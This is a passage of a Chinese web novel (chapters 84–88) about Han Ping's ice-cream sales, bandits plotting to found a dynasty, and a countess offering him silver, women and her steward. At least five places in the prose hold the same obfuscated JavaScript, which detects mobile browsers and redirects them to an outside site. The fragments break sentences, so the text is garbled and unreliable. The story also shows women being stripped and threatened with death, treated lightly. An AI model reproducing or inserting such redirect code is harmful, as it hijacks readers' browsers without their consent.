许财主快要笑傻了，捡起金子，点头哈腰地，把冰淇淋送了过去，马上有侍女接过，伺候着庞宪度。 庞宪度讲究，一路过来，虽然坐着轿子，也是热得不轻，他先用冰块在手上，脸上搓了搓，这才拿起冰淇淋，嘬了一口。 “哎呀！” “这小味愣是要得，甜而不腻，冰凉爽口。” “呲溜，呲溜……舒坦啊。” 作为侯爷嫡长子，庞宪度什么好吃的没吃过？ 冰淇淋他就没吃过！ 所以他吃得就是个稀罕，其中味道是一方面，更重要的，是新鲜感，这就和谈女朋友是一样的。 刚交个女朋友，用甜言蜜语哄着，慢慢可以一亲芳泽，吧唧一口，那味贼拉带 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15535368|170894||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 劲。 大家见庞大少都说好吃，都是惊骇当场，更加热切。 “还有吗？再给本少爷来一个。” 庞宪度胖啊，流了很多汗，一个冰淇淋哪里够？ 店小二马上笑道：“庞大少，由于冰淇淋数量有限，所以通过抽奖的方式购买。还有，但是要等。不过韩先生吩咐了，谁第一个吃了冰淇淋，韩先生送他一副字画，请稍等。” 店小二呼哧呼哧地跑进店铺，又跑出来，拿着个卷轴，一打开，只见上面画着一个少年公子，骑着白马，潇洒至极。 一边铁钩银划地写着：“五陵年少金市东，银鞍白马度春风。” 纨绔最爱的，就是出风头，看到这句诗，庞宪度顿时眼珠子亮堂起来。 他从小在私塾学起来的，对诗词歌赋都是略通。 立即便意识到，这句诗必将响彻天下。 这句诗形容的是他，他的名字，也将随之传播到任何一个地方。 “青史留名！” “本少爷青史留名了！” 他直接从软轿上跳了下来，呼哧呼哧地小跑过来，接过了卷轴，得意无比。 他是看史书的，以前的什么将军，什么侯爷，啥也不是。 相反，诗词却能够传唱久远，诗词背后的故事，更是为人津津乐道。 想到很久很久之后，还有人重温今天的故事，大家都敬仰他风流潇洒，用一百两金子，品尝到了第一个冰淇淋。 太爽了呀！ 还有呢，冰淇淋此物如此神异，肯定也会在王公贵族中流传，可不管多么高贵，哪怕是皇上呢，也都落在他后面了。 这在史书里，不也得写上一笔？ 吃个冰淇淋，自己的名字在史书里乱窜，庞宪度就觉得，太值了。 一百两金子算个鸡毛！ “多谢韩先生厚爱。” “韩先生之才，实在是惊天地，泣鬼神。” “本少爷尝遍天下美食，我愿称冰淇淋为天下第一！” 自己的名字已经和冰淇淋密不可分，荣辱与共，那庞宪度还不得往死里吹？ 其他人听了，更加心热了。 谁都知道，韩先生这个人最大的特点，就是实在，他定好价，是不会更改的。 说五十两，哪怕你买了，转手卖一千两，人家也继续卖五十两，太厚道了。 如果自己也能买到一枚冰淇淋，那不是发了吗？ 第84章 眼红 第八十四章眼红 很多精明的财主在计算之后，开始雇佣大量的灾民，就冲着冰淇淋去了。 其他的纨绔子弟则羡慕到眼红。 “妈的！真不该让给他！” “这是在咱们嘉陵的地盘，结果让他庞宪度拔了头筹，千秋史书上，岂不说咱们嘉陵子弟是龟孙子？” “丢人丢上史册，几百年后，还会有人看不起咱们。” “拼了，下一个冰淇淋，是本少爷的。” …… 虽然说第二个吃冰淇淋的，名声没有那么响亮，怎么也算有点面子，有人已经是势在必得。 庞宪度在吃了冰淇淋之后，又买了一罐白糖，惊异出声：“出淤泥而不染，濯清涟而不妖！妈妈耶，这不是在说我吗？韩先生真是个妙人，竟知我品性高洁！” 噗！ 其他人都没眼看，你一个纨绔子弟，整天就是吃喝玩乐，和高洁有半文钱的关系吗？ 当然，这种话谁也不敢说。 打开白糖，庞宪度看了看，尝了尝：“香甜纯净，真乃极品也！今日不虚此行！” 见嘉陵的纨绔子弟虎视眈眈的，他见好就收。 反正别人再吃，也排他后面了，收购了几罐白糖，扬长而去。 …… 一切情状，冯云程刺史都看在眼里，心里那是惊涛骇浪。 他两榜出身，二十年仕途，哪里会看不清大越的顽疾在哪？ 勋贵们的钱太多，小老百姓的钱太少。 韩平能够让勋贵子弟，心甘情愿地掏钱，一出手就是一百两的金子，这些金子，换算成银子，便是一千两，能救多少人啊？ 更不要说，还有这白糖，粒粒分明，洁白纯净，不用说，自命清高的文人肯定喜爱至极。 这又能卖多少钱？ “走！赶紧回去，我得再修书一封。” “先为韩先生请功，再请他把工坊开到江宁。” “区区蝗灾，何足道哉！” 自从灾情发生之后，这还是冯云程第一次这么开心，他马不停蹄地回去，并没有去见韩平。 他知道，该耍的嘴皮子，庄典和陈文灿等人，肯定都耍过了，他要来实际的。 再是高人，也需要官身。 如果能给韩平求到个嘉奖，后面也好说事。 …… “什么？又死光了？” “连线人都没有留下？” 八坨子山大当家范庭光快疯了。 眼看着灾民四起，越来越乱，他是想干一番大事的，哪想手下大将，接连败亡。 其他的三当家，四当家，五当家也是愤慨不已。 “那个韩平，心狠手辣至极，面对二哥等人的求饶，依然是无动于衷，坚持要杀光。” “可怜二哥他们，先被严刑拷打，然后共赴黄泉。” “韩平越发搞得大了，不杀了他，只怕灾民暴-乱都要平息。” “以我之见，不如全部出动，杀了韩平，把伯爵府也给抢了，也好共谋大事。” 乱世出英雄，范庭光的外号叫“睡娘娘”，试问，谁能够睡娘娘？ 自然是皇帝。 他是有野心的，想着趁乱而起，也许可以南面称帝，建立新的王朝。 “不可！” “鸭嘴寨虎视眈眈，如果我们去攻打韩平，鸭嘴寨肯定会趁虚而入，攻打我们的大本营。” “先灭了鸭嘴寨，把队伍扩大，反正韩平不会跑。” “到时候，我们大军扫荡，区区韩平，不在话下。” 鸭嘴寨是最新崛起的土匪窝子，八坨子山是精英团队，寻常人不要的，鸭嘴寨不同，只要是个人，他们都要。 他们打出的口号正是那句大名鼎鼎的：苍天已死，**当立；岁在甲子，天下大吉。 有了人手，他们采用人海战术，专门针对为富不仁的勋贵，巨贾，或者是周边的土匪，理念是庇护天下穷苦人。 别看八坨子山成立的早，声势上却被鸭嘴寨给比下去了。 没别的，人家鸭嘴寨口号响亮，还举着正义大旗，八坨子山追求的则是大块吃肉，大碗喝酒，强粮抢钱抢娘们。 周边很多小土匪，都被鸭嘴寨给灭了，也是看八坨子山壮盛，才没有攻打。 可已经有不少鸭嘴寨的人，在嘴上讨伐八坨子山了，还谩骂八坨子山作恶多端，多行不义什么的。 对此，范庭光很是无语，我们是土匪，道德就不可能高尚，不作恶，干啥呢？ 难道要土匪去救济灾民去吗？ “大当家，鸭嘴寨的人是越来越多了，一个灾民，吃上两天饱饭，拿一木棍就能战斗，太可怕了。” “咱们也得有口号，苍天已死的口号，也不是鸭嘴寨第一个喊出来的。” “大哥，要不，你称帝吧？这样才会有号召力。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15535369|170894||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“最近有个口号挺有名，叫做：王侯将相宁有种乎。” “咱们可以用这个。” …… 随着规模越来越大，八坨子山的头领，心也越来越野了。 他们想着，范庭光当了皇帝，他们便是大将军，尚书什么的，那不是风光无限？ 范庭光沉吟许久，慨然道：“好，我便称帝，只是国号，帝号，还得找个读书人，帮忙起草。” 他是想通了，当土匪必须名号大，不然别人不归顺，称帝固然风险大，却也能够名震天下。 如果再收拢一批高手，说不定，他真的能改朝换代。 礼学教人君君臣臣父父子子，可谁不想当祖宗啊？ 改朝换代便是太-祖太宗，是最牛的。 “这个简单！” “我去抓几个来。” 三当家激动了，大当家称帝，他便是位列三公，只是到底哪个公最大，他还得问清楚。 …… 京城，伯爵府。 伯爵府二儿子谢子展对着匆匆逃离的下**骂不已：“走，都走吧，我谢家从来没有亏待过你们。遇到点事，便鸡飞狗跳。等度过了这关，你们想回来，我们也不要了。啊呸！” 自从皇上让谢伯爵回家，伯爵府是一天比一条萧条。 最可怕的是，皇上还说，如果谢朝乘一个月之内，不击退柔然大军，便军法从事。 傻子都知道，谢朝乘做不到的。 如果能，也不至于等到现在。 所谓树倒猢狲散，大家都怕被连累，所以纷纷离开。 以前和伯爵府交好的，也不肯上门了。 “子展，不要为难他们。” “不管谁要走，只管放人便是。” “眼下咱们可怜点，说不定能活下来，如果还是像以往那样，只怕要满门抄斩。” “唉！但愿皇上还记得，我从前四处厮杀的一点功劳。” 谢园卜对人情世故，早就看透了。 他现在琢磨的，是皇上的心意。 谢子展不甘心：“父亲，你也不看好大哥？万一大哥击退了柔然人呢，到时候谁还敢小瞧咱们谢家？” 打仗嘛，有胜有败，也没有规定说，只准柔然人胜的。 谢子展觉得，里面应该有运气的成分。 听他这么说，谢园卜呵呵笑了：“绝无可能！战争是最讲实力的，不存在万一。” 第85章 钱，喜欢；女人…… 第八十五章钱，喜欢；女人…… “夫人，韩先生出产的白糖，又大卖了。” “还有那冰淇淋，更是高达五十两银子。” “也不知道他从哪里弄来的冰块，大家都是纷纷称奇。” “他，还真是了不起。” 当管家的，就是要会察言观色。 陈泓以前看不上韩平，那是因为，伯爵夫人米若兰看不上。 现在不一样了，米若兰把整个伯爵府的存亡，都寄托在韩平身上了。 自然，他要说韩平的好话，并且夸得越厉害越好。 “我看中的人，自然错不了。” 米若兰得意了起来。 她知道自己错了，便来了个紧急调头，于是韩平成了她眼中的香饽饽，谁也不能说韩平半句不好。 “听说庄典和陈文灿他们，已经争起来了，都想把韩先生留下。” “也只有如此神异，才能解渔阳城的危局。” “夫人，差不多，是不是该请韩先生过来了？” 只要伯爵府能够度过危机，陈泓便高兴。 从他爷爷，到他爹，再到他，都在伯爵府干活，早就习惯了。 让他离开伯爵府，他都不知道如何生活。 “那十名女子……在仪态上，还是差点。” “罢了，一时半会也教不会，你带着八抬大轿，去请韩先生。” “务必恭敬。” “有丝毫怠慢，小心你的皮！” 女人的美丽，不仅仅是容貌，身材，肌肤这些，还有仪态和谈吐，米若兰已经让嬷嬷们尽力去教了。 只是这些东西，需要天长日久，才能见效。 唯一让她欣慰的是，那薛玉婵倒是有大家闺秀的样子。 如果是青-楼女子放-浪，没什么稀罕的，可如果大家闺秀，身穿薄纱，对男人的吸引力，将会是致命的。 “夫人，您放心吧，给我一百个胆子，也不敢违逆韩先生啊。” 陈泓笑呵呵地去了。 等到了韩宅，通报之后进去，他整衣肃容，见到韩平，扑通先跪下了： “韩先生，夫人请您过去一趟，不知道，能否赏光？” 他是极尽客气，韩平四平八稳地坐着，故意晾了半天。 原因无他，之前陈泓太傲了，和米若兰一样，各种颐指气使的，不得治治他的脾气？ 想到那么大一个摊子，还缺个管家，韩平淡淡道：“陈管家，愿不愿意跟着**啊？” 啊？ 陈泓身子一缩，趴得更恭敬了，心里七上八下的。 这位不会是把自己要过去，然后狠狠收拾自己吧？ 比如，把自己扒光了，挂在房梁上抽-打。 嘶！ 光是想想，他便一阵恶寒，又想到，陈家祖孙三代都在伯爵府，他跳槽，那不成了两姓家奴了？ 任何人都需要荣誉感，他当然也有。 俗话说，忠臣不侍二主，贞妇不嫁二夫，他不能让人戳脊梁骨。 “韩先生，我不会背叛伯爵府的。” 他本来就对韩平比较抗拒，所以张口便是背叛。 韩平顿时皱眉：“我是三少爷的客卿，和伯爵府关系极好，何来背叛之说？莫非，你有意挑拨和我伯爵府的关系？” 这大帽子能压**，陈泓直哆嗦：“没有，绝对没有这个意思啊，是我错了，我该掌嘴。” 他打了自己几个嘴巴子，希望韩平能够熄火，哪知道，韩平阴恻恻道：“好你个陈泓，竟然说我和伯爵府有不共戴天之仇，还说伯爵夫人有意戕害于我。你说你，到底是什么用心？” 哈？ 这怎么话说的？ 现在，陈泓是狗看星星，不明所以：“韩先生，这些话，我可从来没说过啊。” 作为伯爵府的管家，陈泓是非常稳重的，平常一字一句都斟酌过的，对伯爵府的忠诚，更是刻进了骨头里。 伯爵夫人都把韩平当宝贝了，他早就见风使舵，改换了态度。 “说过没说过，不用在意这些细节。” 韩平蛮不讲理。 陈泓苦瓜着脸，不在意这些，在意什么啊？ 你根本是在污蔑我啊你。 他肝颤不已，伯爵夫人可不太正常，连杀光娘家的话，都说得出来，他稍有差池，便是个死。 “韩先生，我以前态度不好，我道歉，对不起，对不起……” 一边道歉，陈泓一边磕头，砰砰响。 韩平对他，还真有点稀罕，伯爵府那么大一摊子，他都能管得过来，说明是有些专业能力的。 “这样吧，我告诉伯爵夫人，你想来我这干，行吧？” “工钱给你翻倍。” 各种统计啊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15535370|170894||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，财务啊，人员调配啊，韩平不可能事必躬亲，有个人帮忙，将会轻松非常多。 特别是，陈泓是伯爵府出来的，他必须为伯爵府争光，不好好干都不行。 “韩先生，多谢厚爱。” “但现在伯爵府正处在危机的时刻，我捡着高枝飞了，风骨何在？” “伯爵，夫人还有公子小姐们知道了，也会觉得寒心。” “我就是伯爵府的一条老狗，死也只能死在伯爵府。” 这忠诚度，真是实打实的家生奴才。 韩平点点头：“我明白了，你是说伯爵府这艘破船快要沉了，所以想来我这里干，好的，我会告诉伯爵夫人的。” 陈泓眼泪下来了，他是没见过，这么明目张胆冤枉人的，苦涩道：“韩先生，我没说过。” 韩平面容一整，不满了：“你看你，总是在意这些细节。” 陈泓哭得稀里哗啦，不让我在乎细节，我能不在乎吗我？ 照这么说，我的名誉还要不要啦？ “韩先生，别打趣老奴了，老奴经受不住。” “咱们还是去伯爵府吧，夫人准备了很多好东西。” 感觉韩平应该不是认真的，陈泓稍稍安心。 韩平也想知道，米若兰能给什么，便坐上轿子，去了伯爵府。 这一次，米若兰穿着一身素衫，头上连首饰都没有，等韩平进了大堂，她直接土下座，跪得那叫一个结实： “米若兰多有得罪，愿献出伯爵府上下所有一切。请先生垂怜，见谅，救助。” 态度一百八十度大改变，韩平都有点不适应，急忙搀扶：“夫人快快请起。” 礼节不可荒废，大家还是分宾主落座，米若兰轻轻一拍手，丫鬟抬过来一箱子的银票，接着，十名绝色女子，从后堂款款走出。 她们身上仅有一件薄纱罩体，每个都是曼妙若仙。 “这是一百万两银票，以及十名佳丽。” “请先生前往渔阳城一趟，击退柔然大军，拯救谢氏一门。” 米若兰又跪下了，双手交叠，额头磕在手背上。 韩平看看钱，喜欢，看看女人，先是被惊艳到，接着便发现，其中仪态最佳，国色天香的一位，脸上带着泪痕。 他向来不愿意强人所难，靠近几步问道：“这位姑娘，你是被强迫的吗？如果是，你就点点头。” 第86章 夫人的小心思 第八十六章夫人的小心思 薛玉婵可怜巴巴地看向了米若兰。 米若兰目露凶光。 “并……并没有人强迫，我……自愿的。” 伯爵府想要杀她全家，根本不用自己动手，只需要示意一下，便有无数人去做，薛玉婵知道得罪不起。 她**便罢了，还要连累家人，太不孝了。 “我信你个鬼！” 男人没有不好-色的，看着薛玉婵绝世姿容，薄纱下曼妙果体，若说没有想法，就太虚伪了。 可他到底是被现代文明熏陶过的，品德高尚，无法不管不顾地强上。 因此，他眼中的欲念，一闪而逝，心说，还是回家玩老婆吧。 “夫人，明人不说暗话，钱和佳丽我都喜欢，但韩某风流却不下流，霸王硬上弓这种事，是做不来的，我便只要钱好了。有了这一百万两，我会前往渔阳城一趟，至于能否击退柔然大军，我只能说，我会尽力。” 战场之上，风云变幻，哪有必胜的？ 韩平又从来没有没有参加过战斗，说白了，他是冒险前往。 当然，有**这种大杀器，他的安全性还是有一定保证的。 “多谢先生援手！” 米若兰激动得不得了。 绝望太过可怕，有韩平，至少还有一份希望。 何况，她越看越觉得，韩平去了，说不定真能行。 只是一点，尽力可不行。 她起身，走到薛玉婵身边，突然一伸手。 刺啦！ 薛玉婵身上的薄纱，被她一把扯下，然后让到了一边，绝妙的身体，袒露在韩平眼前。 韩平没忍住，多看了几眼，没办法，男人嘛。 让他没想到的是，米若兰竟然如此野蛮。 紧接着，米若兰把十名佳丽的薄纱，统统撕扯开，扔在一边。 一时间姹紫嫣-红，乱花迷人眼，韩平只觉得眼睛不够用。 世界上没有两片树叶是相同的，同样，世界上没有两个女人是相同的，环肥燕瘦，各有其妙。 “夫人这是何意？” 这个时代的女人格外保守，光是穿着薄纱，已经出格了，更不要说玉体袒露，不知道的，还以为来会所了呢。 唯一不同的是，会所的女人喜欢搔首弄姿。 这些佳丽都是羞涩无极，好几个闭上了眼睛，缩着身子，好像等待**的鱼。 “先生，女子最重要的，便是贞-洁。” “先生看过她们的身子，她们贞-洁已失，不能嫁人了。” “如果先生可怜她们，就应该收下她们，不然，我也只好把她们打死喂狗了。” 诚意！ 米若兰就是告诉韩平，她给出去的东西，绝对不会收回，这下，倒是让韩平为难了。 他连要不要娶小妾，还没有想好。 就算要娶，按照先来后到，也该是先收曹淑君，再收赵杏儿，不能插队啊。 这一下子十个人插队，难免让曹淑君，赵杏儿伤心。 她们会想，自己放着家里的花不采，去采外面的，一定是嫌弃她们丑。 可要说不答应吧，米若兰是个凶狠妇人，真能杀了这十个如花似玉的佳丽。 “这个……一切太突然了，容我考虑考虑。” “先生的夫人……莫非真是母老虎？” “绝对不是！” 大越的风气就是这样，男人必须娶好几个女人才正常，就连女人自己，也认为如此是天经地义。 刘雪宝不但支持他娶小妾，恨不得把小妾塞到床上来。 “要不这样吧，我先把她们养在府上，你什么时候有空，过来便是。” “听你的。” 好人就是斗不过坏人，米若兰要**，韩平不能视而不见。 总算有了个了断，主角看向米若兰，犹豫了下说道：“夫人，韩某还有想要的，不知道……” 说一半，韩平觉得，自己的要求有点过分，他已经拿到一百万两银子了。 有了这些银子，之前的奖赏，可以全部发出去，工坊的资金流动，完全不用担心，各种工程也可以铺开干。 “韩先生还想要什么？” 见韩平的目光在自己身上流转，又吞吞吐吐的，米若兰粉脸涌起红晕，双腿紧紧并拢。 想到自己已经是有罪之身，伯爵回来，只怕会休了自己，韩平如此人才，并没有辱没了自己。 况且，韩平年轻魁梧，定然是有力气的，她抿了抿嘴唇，美眸顾盼，温柔似水又坚定道：“伯爵府上下所有的东西，所有的……人，任你取用。你尽管开口，要什么都给。” 说完之后，她赶紧看向其他人：“你们都下去！” 一下子大堂之上变得空荡荡的，空气中流动着说不清的暧昧，米若兰好像回到了少女时代，春-情涌动，难以抑制。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15538923|170894||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 尽管她知道，一切不合礼法。 可正因为不合礼法，才更让人贪心。 “夫人说的是真的吗？” 韩平高兴得不得了。 米若兰理了理秀发，连连点头，韩平急忙道：“我想要伯爵府的铁矿。” 大越一向有官山海的传统，也就是说，山和海都是皇家的，其中矿脉便属于山的一部分。 不过为了奖励勋贵，也会赏出去一部分。 伯爵府的铁矿，品质并不好，但怎么说也是铁矿，韩平有意用钢筋混凝土建造菱形堡垒，以及琴川的三山一湖，将来需要用到大量的钢铁，有了铁矿，会省去许多麻烦。 另外，制作兵器也需要铁矿。 外面饥荒还在蔓延，土匪也好，饥民也好，乱起来的可能性大，做好准备，总没错。 还有那八坨子山，他还打算去荡平呢，也需要兵器。 “啊？铁……铁矿？” 难言的失望，让米若兰的声音，都变得低沉了，“那只是个劣质铁矿，有什么好的？” 她多少也有点生气，心塞韩平没眼光。 就算年纪大点，可她保养得当，说是嘉陵第一美妇，也不是夸张，奈何…… “我自有用处，夫人可愿意割爱？” 对很多勋贵来说，矿产是一种身份的象征，米若兰失望地摆摆手：“给你便是，你……还要什么吗？” 韩平知道，现在正是狮子大开口的好时候，便继续道：“我还想要个人。” “要人？” 米若兰的声音高了起来，她不光要考虑谢家的未来，也要考虑她自己的未来，被剥夺了一品诰命，她便没有地位了。 燕非鹰的**，让她无法被伯爵所容，娘家人都得罪光了，是不可能回去的。 她又过惯了锦衣玉食的生活，唯一的指望，是再找个有大本事的男人。 “我愿意！” 如果能跟韩平，虽然嫁到韩家不可能，也算是一段佳话，“名分什么的不重要，我往后也会学着节俭。就怕世人的议论！” 米若兰想着，自己和韩平在一起，大约也只能住在外宅，被人知道了，自己必然声名狼藉，韩平也会被人说闲话。 唉！ 幸福总要经历磨难！ “我不怕别人议论，就是要此人当我的狗！” 韩平不管这儿那儿的。 米若兰樱唇合不上了，狗？ 第87章 会会第一花魁 第八十七章会会第一花魁 怎么是狗？ 米若兰的脸愈发地红了，她没想到，韩平竟然如此张狂，可是……能怎么样呢？ 听他的呗！ 毕竟自己之前对他很不好，他心里是有怨言的，等他把这些怨气在自己身上，一一发泄出来，自然会好好地爱自己。 只是不知他会怎么折腾，当狗又是什么玩法…… “都依从你便是了。” 她是过来人了，知道男人总是有些奇怪的想法，韩平大笑：“那好，我要陈泓。” 韩平仔细地想过了，陈泓此人，有能力之外，他家大业大，妻子一人，小妾十五人，孩子有四十多个。 个个都是软肋啊！ 好拿捏！ 而且，他还是陈家的族长，需要照看整个家族，因此一言一行，都格外的谨慎，工坊的很多事交给他，他不敢玩猫腻。 简直就是天生的打工圣体，这种人不剥削，天理不容！ “陈红？哪个陈红？” “是丫鬟吗？” 米若兰炸毛了，咬着银牙，手指甲都快要把手指头掐出血，无边的耻辱，在体内激荡奔流，眉毛压了下来，死死地盯着韩平。 心说，那种小丫头根本不会伺候人，有什么好的？ 莫非他嫌自己年纪大？ “陈泓啊，贵府的管家。” “工坊那么大一摊子，需要有人帮忙，陈泓有管家的经验。” 韩平有点懵了，这位夫人什么情况啊？ “哦，你说管家陈泓。” “不行吗？” “当然是行的，你不要其他人了吗？” “先这样吧，如果还有什么需要，我再来告知。” 到底和谢翼圣关系不错，韩平还真不好意思，真把伯爵府掏空，一百万两银子，还拐走个大管家，够可以的了。 米若兰轻轻地叹气，无边地失落侵袭全身，弄了半天，他要个臭男人。 “来人啊，让陈泓进来。” 忠诚度最高的，便是家生奴才，陈泓哭丧着脸：“夫人，我想留在伯爵府！” 想去的去不了，不想去的他偏要，米若兰心情烦躁：“混账！你想，你想……哪有你想的余地？别说是你，就是……反正韩先生要任何人，我都会给。” 陈泓心里憋屈又害怕，一个头磕在地上：“夫人，陈泓的一颗心，都在伯爵府，突然跟着韩先生，那不是两姓家奴？求夫人派其他人去吧，伯爵府能干的管家，很多的。” 他越不肯，说明他越忠诚，韩平-反而越想要。 他今天能对伯爵府忠诚，明天就能对自己忠诚。 为啥曹操一心要留下关云长，因为关云长对刘备忠诚啊，曹操想着，如果能收了云长，便会得到一个忠心大将。 见他这会了还不肯，韩平只好来狠的：“好了陈管家，别演了。你之前还说，君子不立危墙之下，伯爵府快完蛋了，求我带你离开。现在意思意思可以了。” 陈泓的脸色苍白，高声惨叫：“夫人，我没有啊！” 一世英名毁于一旦，要不是打不过，他都想动武了。 俗话说，疾风知劲草，板荡识忠臣，他成反面典型了。 以后在伯爵府抬不起头，就是在家族，也无法以长者训人了啊。 “够了！” 米若兰面色阴沉，见风使舵，攀龙附凤的人，她见多了，就说最近，伯爵府的下人便跑了不少。 他们都怕伯爵府会被满门抄斩，把他们也给斩了。 “这个世界上，我唯一相信的人，只有韩先生。既然你的心已经不在伯爵府，又何必惺惺作态？简直令人作呕！来人，把陈泓的**契拿来。” 家生奴才，从生下来，就卖给伯爵府了，陈泓便是这种情况，这样伯爵府才能放心，他也安心。 甚至在他看来，这是一种亲密，表示他陈泓，生生世世都是伯爵府的人。 米若兰把陈泓的**契转给了韩平，问道：“韩先生，不知何时动身前往渔阳城？” 只有一个月的期限，她怕去晚了，韩平有再大的本事也没用。 韩平估摸了下，说道：“三天之内！” 主要是因为，**的数量还不够，从秦明虎回报的信息看，**需要大量才能起到明显的作用。 渔阳城外面可有五万大军呢，至少也得弄五万个**吧。 “到时圣旨已到，我被禁足，无法出门。今日就预祝先生一路顺风了。” “夫人保重。” 坐着轿子，带着一百万两的银票，韩平 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15545287|170894||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 舒服惨了。 他现在可是名副其实的有钱人，吃喝玩乐都没啥问题，要解决大环境的问题了。 不管是柔然打进来，或者灾民暴-乱，对他都是不利的。 他是热爱和平的人，不喜欢打打杀杀。 “韩先生，从今天起我便是您的人了，您能不能对外说清楚，我并没有见异思迁，背主忘恩？” 像条老狗一样跟在轿子边上，陈泓眼睛红红的，离开伯爵府，他现在能接受了，只是这名声，臭了啊。 韩平潇洒挥手：“做人要大气，不要在乎这些细节。” 陈泓流流满面，又是这句，太不把我当人了吧！ …… 回到家，韩平给陈泓安排了工作，让他负责做账，工坊每天用到的材料，长短工的工钱，等等，都需要有一个进出账，不然，真就两眼一抹黑。 这也是陈泓擅长的，他是管家嘛，管的就是钱袋子。 之后，韩平把两千多名班底叫过来，把之前的奖赏，给他们补齐。 他们这些人，每个人身家，至少都有一百两，自然是狂喜不已，纷纷赌咒发誓，要永远跟随韩平。 对此，韩平当然不会全信，慢慢看呗，亲信本来就是这么筛选出来的。 把剩下的银票放好，他抽出龙雀宝刀，又练了起来。 眼看要去边关，他可不想半点武力没有。 “先生，妃苒姑娘派人通知，说她找到了制作琉璃的大匠，请您过去一趟。” 刚练到冒汗，南宫狗剩进来通报，韩平沉思了会，说道：“备轿，我会会这位青-楼第一花魁。” 青-楼是文人雅士喜欢去的地方，韩平还打扮了下。 他购买了很多奢华的衣服，挑了件顺眼的换上，然后，戴上首饰。 为了让所有有钱人，都出来花钱，他想做个榜样，买了不少华丽的首饰。 手上戴的，是上百两银子的祖母绿，放水里，一盆水都绿莹莹的。 脖子上好几条金链子。 之所以戴几条，他是嫌金铺卖的金链子太轻，还专门定制了几条，有四斤，八斤的，有十六斤的，还有一条五十二斤。 那戴出来，傻子都知道，他是个有钱人！ 也让所有人都知道，有钱就得这么活。 第88章 爱意 第八十八章爱意 “听说了吗？韩先生终于想通，要来青-楼了。” “那就好，那就好，他一直不来，我心里不踏实，不管怎么说，他也是读书人，读书人不上青-楼，着实怪异。” “我还没见过韩先生呢，今天终于可以一睹韩先生风采。” “韩先生乃是绝世高人，虽然有钱，穿着打扮上，一定是素朴雅致，可不会像那些纨绔，穿得花里胡哨的。” …… 怡红院的门口，已经有很多人在等着，读书人议论纷纷，凡是能读书的，家里都是有钱的。 没钱，真就读不起。 不说上私塾，光是购买书籍，就花费不小，等学得差不多了，还要一级一级地往上考，院试，乡试，会试，殿试。 从地方到省城，再到京城，长途跋涉，一路上打尖住店，得吃喝吧？这都是钱。 老话说，穷文富武，实际上，没钱，啥也不行。 他们是读书人，自然清高，不愿和纨绔为伍，穿着也素雅，大多都是一身儒巾襕衫，或者青圆领袍，颜色也比较单调，没有功名的，多是穿青衿。 青青子衿悠悠我心。 这个调调就比较斯文。 等进士及第，往往会换成深蓝色的进士袍，还要戴进士巾，皂纱飘带，昭示身份发生了变化。 他们的路子就这一条金光大道，进去了就是鱼跃龙门。 很多中举，中进士的读书人，得知高中的消息，会狂喜到疯癫，可太正常了，比如进士中的末等，三甲进士。 他们外放很可能就是七品知县，也就是传说中的县太爷。 三年清知县，十万雪花银，这都是在论的。 从身份上就彻底改变了。 大越和前朝一样，都是君王和士大夫共治天下，士大夫的责任是代天牧民。 加上圣人之学的熏陶，他们有一种天生的高高在上的感觉。 天下是他们在管的，能不骄傲吗？ 纨绔则不一样，他们是要吃喝玩乐，并让所有人都知道，他们吃喝玩乐，还要出风头，花大钱。 反正就是，把每天都当成是最后一天，就是要享受。 他们也想一睹韩平的风采，很大原因在于，韩平最近太火了，风头无二，他们需要跟上这个时髦。 